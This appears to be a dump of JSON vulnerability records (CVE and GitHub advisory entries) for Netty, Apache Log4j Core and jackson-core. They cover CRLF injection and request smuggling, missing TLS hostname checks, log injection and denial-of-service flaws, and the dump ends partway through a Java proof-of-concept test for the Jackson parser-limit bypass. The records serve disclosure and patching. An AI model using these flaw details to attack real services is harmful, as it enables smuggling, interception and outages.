{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-67735",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-12-16T14:26:21.658602Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-12-16T14:26:48.934Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "netty",
          "vendor": "netty",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 4.2.0.Alpha1, \u003c 4.2.8.Final"
            },
            {
              "status": "affected",
              "version": "\u003c 4.1.129.Final"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Netty is an asynchronous, event-driven network application framework. In versions prior to 4.1.129.Final and 4.2.8.Final, the `io.netty.handler.codec.http.HttpRequestEncoder` has a CRLF injection with the request URI when constructing a request. This leads to request smuggling when `HttpRequestEncoder` is used without proper sanitization of the URI. Any application / framework using `HttpRequestEncoder` can be subject to be abused to perform request smuggling using CRLF injection. Versions 4.1.129.Final and 4.2.8.Final fix the issue."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 6.5,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-93",
              "description": "CWE-93: Improper Neutralization of CRLF Sequences (\u0027CRLF Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2025-12-16T00:19:11.287Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4"
        }
      ],
      "source": {
        "advisory": "GHSA-84h7-rjj3-6jx4",
        "discovery": "UNKNOWN"
      },
      "title": "Netty has a CRLF Injection vulnerability in io.netty.handler.codec.http.HttpRequestEncoder"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2025-67735",
    "datePublished": "2025-12-16T00:19:11.287Z",
    "dateReserved": "2025-12-11T00:45:45.790Z",
    "dateUpdated": "2025-12-16T14:26:48.934Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-68161",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-12-18T21:34:24.735166Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-12-18T21:46:19.782Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2026-01-20T00:13:44.911Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "http://www.openwall.com/lists/oss-security/2025/12/18/1"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2026/01/msg00015.html"
          }
        ],
        "title": "CVE Program Container"
      }
    ],
    "cna": {
      "affected": [
        {
          "collectionURL": "https://repo.maven.apache.org/maven2",
          "cpes": [
            "cpe:2.3:a:apache:log4j:*:*:*:*:*:*:*:*"
          ],
          "defaultStatus": "unaffected",
          "packageName": "org.apache.logging.log4j:log4j-core",
          "packageURL": "pkg:maven/org.apache.logging.log4j/log4j-core",
          "product": "Apache Log4j Core",
          "vendor": "Apache Software Foundation",
          "versions": [
            {
              "lessThan": "2.25.3",
              "status": "affected",
              "version": "2.0-beta9",
              "versionType": "maven"
            },
            {
              "lessThanOrEqual": "3.0.0-beta3",
              "status": "affected",
              "version": "3.0.0-alpha1",
              "versionType": "maven"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Samuli Leinonen"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "\u003cp\u003eThe Socket Appender in Apache Log4j Core versions \u003ccode\u003e2.0-beta9\u003c/code\u003e through \u003ccode\u003e2.25.2\u003c/code\u003e does not perform TLS hostname verification of the peer certificate, even when the \u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://logging.apache.org/log4j/2.x/manual/appenders/network.html#SslConfiguration-attr-verifyHostName\"\u003everifyHostName\u003c/a\u003e configuration attribute or the \u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://logging.apache.org/log4j/2.x/manual/systemproperties.html#log4j2.sslVerifyHostName\"\u003elog4j2.sslVerifyHostName\u003c/a\u003e system property is set to \u003ccode\u003etrue\u003c/code\u003e.\u003c/p\u003e\u003cp\u003eThis issue may allow a man-in-the-middle attacker to intercept or redirect log traffic under the following conditions:\u003c/p\u003e\u003cul\u003e\u003cli\u003eThe attacker is able to intercept or redirect network traffic between the client and the log receiver.\u003c/li\u003e\u003cli\u003eThe attacker can present a server certificate issued by a certification authority trusted by the Socket Appender\u2019s configured \u003cstrong\u003etrust store\u003c/strong\u003e (or by the default Java trust store if no custom trust store is configured).\u003c/li\u003e\u003c/ul\u003e\u003cp\u003eUsers are advised to upgrade to Apache Log4j Core version \u003ccode\u003e2.25.3\u003c/code\u003e, which addresses this issue.\u003c/p\u003e\u003cp\u003eAs an alternative mitigation, the Socket Appender may be configured to use a private or restricted trust root to limit the set of trusted certificates.\u003c/p\u003e"
            }
          ],
          "value": "The Socket Appender in Apache Log4j Core versions 2.0-beta9 through 2.25.2 does not perform TLS hostname verification of the peer certificate, even when the  verifyHostName https://logging.apache.org/log4j/2.x/manual/appenders/network.html#SslConfiguration-attr-verifyHostName  configuration attribute or the  log4j2.sslVerifyHostName https://logging.apache.org/log4j/2.x/manual/systemproperties.html#log4j2.sslVerifyHostName  system property is set to true.\n\nThis issue may allow a man-in-the-middle attacker to intercept or redirect log traffic under the following conditions:\n\n  *  The attacker is able to intercept or redirect network traffic between the client and the log receiver.\n  *  The attacker can present a server certificate issued by a certification authority trusted by the Socket Appender\u2019s configured trust store (or by the default Java trust store if no custom trust store is configured).\n\n\nUsers are advised to upgrade to Apache Log4j Core version 2.25.3, which addresses this issue.\n\nAs an alternative mitigation, the Socket Appender may be configured to use a private or restricted trust root to limit the set of trusted certificates."
        }
      ],
      "metrics": [
        {
          "other": {
            "content": {
              "text": "moderate"
            },
            "type": "Textual description of severity"
          }
        },
        {
          "cvssV4_0": {
            "Automatable": "NOT_DEFINED",
            "Recovery": "NOT_DEFINED",
            "Safety": "NOT_DEFINED",
            "attackComplexity": "HIGH",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 6.3,
            "baseSeverity": "MEDIUM",
            "privilegesRequired": "NONE",
            "providerUrgency": "NOT_DEFINED",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "LOW",
            "userInteraction": "NONE",
            "valueDensity": "NOT_DEFINED",
            "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:L/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "LOW",
            "vulnIntegrityImpact": "NONE",
            "vulnerabilityResponseEffort": "NOT_DEFINED"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "GENERAL"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-297",
              "description": "CWE-297 Improper Validation of Certificate with Host Mismatch",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-04-10T16:18:50.424Z",
        "orgId": "f0158376-9dc2-43b6-827c-5f631a4d8d09",
        "shortName": "apache"
      },
      "references": [
        {
          "tags": [
            "patch"
          ],
          "url": "https://github.com/apache/logging-log4j2/pull/4002"
        },
        {
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://logging.apache.org/security.html#CVE-2025-68161"
        },
        {
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://logging.apache.org/cyclonedx/vdr.xml"
        },
        {
          "tags": [
            "related"
          ],
          "url": "https://logging.apache.org/log4j/2.x/manual/systemproperties.html#log4j2.sslVerifyHostName"
        },
        {
          "tags": [
            "related"
          ],
          "url": "https://logging.apache.org/log4j/2.x/manual/appenders/network.html#SslConfiguration-attr-verifyHostName"
        },
        {
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://lists.apache.org/thread/xr33kyxq3sl67lwb61ggvm1fzc8k7dvx"
        }
      ],
      "source": {
        "discovery": "EXTERNAL"
      },
      "title": "Apache Log4j Core: Missing TLS hostname verification in Socket appender",
      "x_generator": {
        "engine": "Vulnogram 0.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "f0158376-9dc2-43b6-827c-5f631a4d8d09",
    "assignerShortName": "apache",
    "cveId": "CVE-2025-68161",
    "datePublished": "2025-12-18T20:47:49.123Z",
    "dateReserved": "2025-12-16T11:30:53.875Z",
    "dateUpdated": "2026-04-10T16:18:50.424Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-41417",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-05-07T13:59:21.169996Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-07T13:59:59.536Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/netty/netty/security/advisories/GHSA-v8h7-rr48-vmmv"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "netty",
          "vendor": "netty",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 4.2.0.Alpha1, \u003c= 4.2.12.Final"
            },
            {
              "status": "affected",
              "version": "\u003c= 4.1.132.Final"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Netty allows request-line validation to be bypassed when a `DefaultHttpRequest` or `DefaultFullHttpRequest` is created first and its URI is later changed via `setUri()`. The constructors reject CRLF and whitespace characters that would break the start-line, but `setUri()` does not apply the same validation. `HttpRequestEncoder` and `RtspEncoder` then write the URI into the request line verbatim. If attacker-controlled input reaches `setUri()`, this enables CRLF injection and insertion of additional HTTP or RTSP requests, leading to HTTP request smuggling or desynchronization on the HTTP side and request injection on the RTSP side. This issue is fixed in versions 4.2.13.Final and 4.1.133.Final."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-93",
              "description": "CWE-93: Improper Neutralization of CRLF Sequences (\u0027CRLF Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-444",
              "description": "CWE-444: Inconsistent Interpretation of HTTP Requests (\u0027HTTP Request/Response Smuggling\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-06T20:52:47.206Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/netty/netty/security/advisories/GHSA-v8h7-rr48-vmmv",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/netty/netty/security/advisories/GHSA-v8h7-rr48-vmmv"
        }
      ],
      "source": {
        "advisory": "GHSA-v8h7-rr48-vmmv",
        "discovery": "UNKNOWN"
      },
      "title": "Netty vulnerable to HTTP request smuggling and RTSP request injection via DefaultHttpRequest.setUri()"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-41417",
    "datePublished": "2026-05-06T20:52:47.206Z",
    "dateReserved": "2026-04-20T15:32:33.813Z",
    "dateUpdated": "2026-05-07T13:59:59.536Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-42577",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-05-14T15:38:58.623257Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-14T15:39:44.314Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "netty",
          "vendor": "netty",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 4.2.0.Final, \u003c 4.2.13.Final"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Netty is an asynchronous, event-driven network application framework. From 4.2.0.Final to 4.2.13.Final , Netty\u0027s epoll transport fails to detect and close TCP connections that receive a RST after being half-closed, leading to stale channels that are never cleaned up and, in some code paths, a 100% CPU busy-loop in the event loop thread. This vulnerability is fixed in 4.2.13.Final."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-772",
              "description": "CWE-772: Missing Release of Resource after Effective Lifetime",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-13T18:00:28.744Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/netty/netty/security/advisories/GHSA-rwm7-x88c-3g2p",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/netty/netty/security/advisories/GHSA-rwm7-x88c-3g2p"
        },
        {
          "name": "https://github.com/netty/netty/pull/16689",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/netty/netty/pull/16689"
        },
        {
          "name": "https://github.com/netty/netty/commit/0ec3d97fab376e243d328ac95fbd288ba0f6e22d",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/netty/netty/commit/0ec3d97fab376e243d328ac95fbd288ba0f6e22d"
        }
      ],
      "source": {
        "advisory": "GHSA-rwm7-x88c-3g2p",
        "discovery": "UNKNOWN"
      },
      "title": "Netty: epoll transport denial of service via RST on half-closed TCP connection"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-42577",
    "datePublished": "2026-05-13T18:00:28.744Z",
    "dateReserved": "2026-04-28T17:26:12.085Z",
    "dateUpdated": "2026-05-14T15:39:44.314Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.logging.log4j:log4j-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0-alpha1"
            },
            {
              "fixed": "2.25.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.logging.log4j:log4j-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0-alpha1"
            },
            {
              "last_affected": "3.0.0-beta3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34480"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-10T21:16:41Z",
    "nvd_published_at": "2026-04-10T16:16:31Z",
    "severity": "MODERATE"
  },
  "details": "Apache Log4j Core\u0027s [`XmlLayout`](https://logging.apache.org/log4j/2.x/manual/layouts.html#XmlLayout), in versions up to and including 2.25.3, fails to sanitize characters forbidden by the [XML 1.0 specification](https://www.w3.org/TR/xml/#charsets), producing invalid XML output whenever a log message or MDC value contains such characters.\n\nThe impact depends on the StAX implementation in use:\n\n  *  **JRE built-in StAX**: Forbidden characters are silently written to the output, producing malformed XML. Conforming parsers must reject such documents with a fatal error, which may cause downstream log-processing systems to drop the affected records.\n  *  **Alternative StAX implementations** (e.g., [Woodstox](https://github.com/FasterXML/woodstox), a transitive dependency of the Jackson XML Dataformat module): An exception is thrown during the logging call, and the log event is never delivered to its intended appender, only to Log4j\u0027s internal status logger.\n\nUsers are advised to upgrade to Apache Log4j Core 2.25.4, which corrects this issue by sanitizing forbidden characters before XML output.",
  "id": "GHSA-3pxv-7cmr-fjr4",
  "modified": "2026-04-13T23:57:22Z",
  "published": "2026-04-10T18:31:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34480"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/logging-log4j2/pull/4077"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/logging-log4j2"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/5x0hcnng0chhghp6jgjdp3qmbbhfjzhb"
    },
    {
      "type": "WEB",
      "url": "https://logging.apache.org/cyclonedx/vdr.xml"
    },
    {
      "type": "WEB",
      "url": "https://logging.apache.org/log4j/2.x/manual/layouts.html#XmlLayout"
    },
    {
      "type": "WEB",
      "url": "https://logging.apache.org/security.html#CVE-2026-34480"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/04/10/9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Apache Log4j Core: Silent log event loss in XmlLayout due to unescaped XML 1.0 forbidden characters"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.logging.log4j:log4j-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.21.0"
            },
            {
              "fixed": "2.25.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.logging.log4j:log4j-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0-beta1"
            },
            {
              "last_affected": "3.0.0-beta3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34478"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-117",
      "CWE-684"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-14T00:13:29Z",
    "nvd_published_at": "2026-04-10T16:16:31Z",
    "severity": "MODERATE"
  },
  "details": "Apache Log4j Core\u0027s [`Rfc5424Layout`](https://logging.apache.org/log4j/2.x/manual/layouts.html#RFC5424Layout), in versions 2.21.0 through 2.25.3, is vulnerable to log injection via CRLF sequences due to undocumented renames of security-relevant configuration attributes.\n\nTwo distinct issues affect users of stream-based syslog services who configure Rfc5424Layout directly:\n\n  *  The `newLineEscape` attribute was silently renamed, causing newline escaping to stop working for users of TCP framing (RFC 6587), exposing them to CRLF injection in log output.\n  *  The `useTlsMessageFormat` attribute was silently renamed, causing users of TLS framing (RFC 5425) to be silently downgraded to unframed TCP (RFC 6587), without newline escaping.\n\nUsers of the `SyslogAppender` are not affected, as its configuration attributes were not modified.\n\nUsers are advised to upgrade to Apache Log4j Core 2.25.4, which corrects this issue.",
  "id": "GHSA-445c-vh5m-36rj",
  "modified": "2026-04-14T00:13:29Z",
  "published": "2026-04-10T18:31:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34478"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/logging-log4j2/pull/4074"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/logging-log4j2"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/3k1clr2l6vkdnl4cbhjrnt1nyjvb5gwt"
    },
    {
      "type": "WEB",
      "url": "https://logging.apache.org/cyclonedx/vdr.xml"
    },
    {
      "type": "WEB",
      "url": "https://logging.apache.org/log4j/2.x/manual/layouts.html#RFC5424Layout"
    },
    {
      "type": "WEB",
      "url": "https://logging.apache.org/security.html#CVE-2026-34478"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/04/10/7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Apache Log4j Core: log injection in `Rfc5424Layout` due to silent configuration incompatibility"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.logging.log4j:log4j-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.12.0"
            },
            {
              "fixed": "2.25.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.logging.log4j:log4j-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0-alpha1"
            },
            {
              "last_affected": "3.0.0-beta3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34477"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-297"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-14T00:11:55Z",
    "nvd_published_at": "2026-04-10T16:16:30Z",
    "severity": "MODERATE"
  },
  "details": "The fix for  CVE-2025-68161 was incomplete: it addressed hostname verification only when enabled via the  [`log4j2.sslVerifyHostName`](https://logging.apache.org/log4j/2.x/manual/systemproperties.html#log4j2.sslVerifyHostName) system property, but not when configured through the [`verifyHostName`](https://logging.apache.org/log4j/2.x/manual/appenders/network.html#SslConfiguration-attr-verifyHostName) attribute of the `\u003cSsl\u003e` element.\n\nAlthough the `verifyHostName` configuration attribute was introduced in Log4j Core 2.12.0, it was silently ignored in all versions through 2.25.3, leaving TLS connections vulnerable to interception regardless of the configured value.\n\nA network-based attacker may be able to perform a man-in-the-middle attack when all of the following conditions are met:\n\n  *  An SMTP, Socket, or Syslog appender is in use.\n  *  TLS is configured via a nested \u003cSsl\u003e element.\n  *  The attacker can present a certificate issued by a CA trusted by the appender\u0027s configured trust store, or by the default Java trust store if none is configured.\n\nThis issue does not affect users of the HTTP appender, which uses a separate [`verifyHostname`](https://logging.apache.org/log4j/2.x/manual/appenders/network.html#HttpAppender-attr-verifyHostName) attribute that was not subject to this bug and verifies host names by default.\n\nUsers are advised to upgrade to Apache Log4j Core 2.25.4, which corrects this issue.",
  "id": "GHSA-6hg6-v5c8-fphq",
  "modified": "2026-04-14T00:11:55Z",
  "published": "2026-04-10T18:31:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34477"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/logging-log4j2/pull/4075"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/logging-log4j2"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/lkx8cl46t2bvkcwfcb2pd43ygc097lq4"
    },
    {
      "type": "WEB",
      "url": "https://logging.apache.org/cyclonedx/vdr.xml"
    },
    {
      "type": "WEB",
      "url": "https://logging.apache.org/log4j/2.x/manual/appenders/network.html#SslConfiguration-attr-verifyHostName"
    },
    {
      "type": "WEB",
      "url": "https://logging.apache.org/security.html#CVE-2026-34477"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Apache Log4j Core: `verifyHostName` attribute silently ignored in TLS configuration"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "tools.jackson.core:jackson-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.fasterxml.jackson.core:jackson-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.19.0"
            },
            {
              "fixed": "2.21.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.18.5"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "com.fasterxml.jackson.core:jackson-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.18.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-28T02:01:05Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe non-blocking (async) JSON parser in `jackson-core` bypasses the `maxNumberLength` constraint (default: 1000 characters) defined in `StreamReadConstraints`. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).\n\nThe standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.\n\n### Details\nThe root cause is that the async parsing path in `NonBlockingUtf8JsonParserBase` (and related classes) does not call the methods responsible for number length validation.\n\n- The number parsing methods (e.g., `_finishNumberIntegralPart`) accumulate digits into the `TextBuffer` without any length checks.\n- After parsing, they call `_valueComplete()`, which finalizes the token but does **not** call `resetInt()` or `resetFloat()`.\n- The `resetInt()`/`resetFloat()` methods in `ParserBase` are where the `validateIntegerLength()` and `validateFPLength()` checks are performed.\n- Because this validation step is skipped, the `maxNumberLength` constraint is never enforced in the async code path.\n\n### PoC\nThe following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.\n\n```java\npackage tools.jackson.core.unittest.dos;\n\nimport java.nio.charset.StandardCharsets;\n\nimport org.junit.jupiter.api.Test;\n\nimport tools.jackson.core.*;\nimport tools.jackson.core.exc.StreamConstraintsException;\nimport tools.jackson.core.json.JsonFactory;\nimport tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;\n\nimport static org.junit.jupiter.api.Assertions.*;\n\n/**\n * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers\n *\n * Authors: sprabhav7, rohan-repos\n * \n * maxNumberLength default = 1000 characters (digits).\n * A number with more than 1000 digits should be rejected by any parser.\n *\n * BUG: The async parser never calls resetInt()/resetFloat() which is where\n * validateIntegerLength()/validateFPLength() lives. Instead it calls\n * _valueComplete() which skips all number length validation.\n *\n * CWE-770: Allocation of Resources Without Limits or Throttling\n */\nclass AsyncParserNumberLengthBypassTest {\n\n    private static final int MAX_NUMBER_LENGTH = 1000;\n    private static final int TEST_NUMBER_LENGTH = 